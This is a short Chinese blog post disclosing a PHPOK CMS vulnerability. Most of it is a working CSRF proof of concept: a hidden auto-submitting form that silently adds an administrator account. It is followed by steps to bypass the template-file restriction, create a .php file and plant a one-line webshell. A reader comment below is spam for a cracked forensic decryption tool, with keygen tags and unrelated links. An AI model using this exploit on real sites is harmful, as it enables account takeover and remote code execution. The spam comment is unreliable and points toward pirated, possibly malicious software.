phpok csrf添加管理员+后台getshell

  • 内容
  • 评论
  • 相关

老问题,一直没修复。

poc:

code 区域
<div style="display:none">

<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">

<input type="hidden" name="id" value=""/>

<input type="hidden" name="account" value=""/>

<input type="hidden" name="pass" value=""/>

<input type="hidden" name="email" value=""/>

<input type="hidden" name="status" value=""/>

<input type="hidden" name="if_system" value=""/>

<input type="submit" name="up" value="submit"/>

</form>

<script>

var t = document.poc;

t.account.value="wooyun";

t.pass.value="123456";

t.status.value="1";

t.if_system.value="1";

document.poc.submit();

</script>

</div>

QQ截图20150114173941.png

访问poc后

QQ截图20150114174011.png

Getshell:

风格管理-创建模板文件

默认这里只能添加html文件。但是可以绕过

QQ截图20150114174536.png

code 区域
GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

修改成

code 区域
GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

QQ截图20150114174709.png

然后在编辑文件写入一句话木马就OK了。

评论

0条评论
  1. Gravatar 头像

    BruceLole 回复

    按下"立即下载"按钮下载 Elcomsoft Forensic Disk Decryptor with crack.
    The process will just take a few moments.

    这个用户友好的软件实用程序使用户能够打开加密的BitLocker,TrueCrypt或PGP文件和容器没有很大的努力

    Mirror ---> Elcomsoft Forensic Disk Decryptor license crack

    · 版本: 2.10 Build 567
    · 发布日期: Aug 16th 2018
    · Developer: ElcomSoft Co. Ltd.
    · 下载: 16337
    · 下载类型:安全(没有洪流/没有病毒)
    · File status: clean (as of last analysis)
    · File size: unknown
    · Price: no cost
    · 特殊要求:无要求
    · Systems: Win 10 64 bit / Win 10 / Win 8 64 bit / Win 8 / Win 7 64 bit / Win 7 / Win Vista 64 bit / Win Vista / Win XP 64 bit / Win XP
    · Rating:

    Tags cloud:
    elcomsoft forensic disk decryptor update crack, elcomsoft forensic disk decryptor update crack, elcomsoft forensic disk decryptor with crack, elcomsoft forensic disk decryptor keygen crack, elcomsoft forensic disk decryptor serial keys x86/x64, elcomsoft forensic disk decryptor + crack latest, elcomsoft forensic disk decryptor cracked full, elcomsoft forensic disk decryptor crack serial number, elcomsoft forensic disk decryptor serial keys x86/x64, elcomsoft forensic disk decryptor crack patch

    Popular software: here

    它可能是有趣的:
    Антиплагиат помощь
    Water quality compliance just got a lot easier for our clients (Introducing the HYDROLAB) - EnerTek Global
    Download Pirate Pop Plus + Crack Latest
    LuckyDino Casino - 7 free spins no deposit | Mobile
    download google books free
    GlucoTrim + Garcinia Plus- forum – avis – sante – la revue – dangereux – Amazon | SEO Agency
    ГДЗ: готовые домашние задания за 1-11 класс
    Top 4 Maruti car under 10 lakhs - vehicle series
    Repair missing or corrupt libmysql.dll

    评论正在审核中...

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code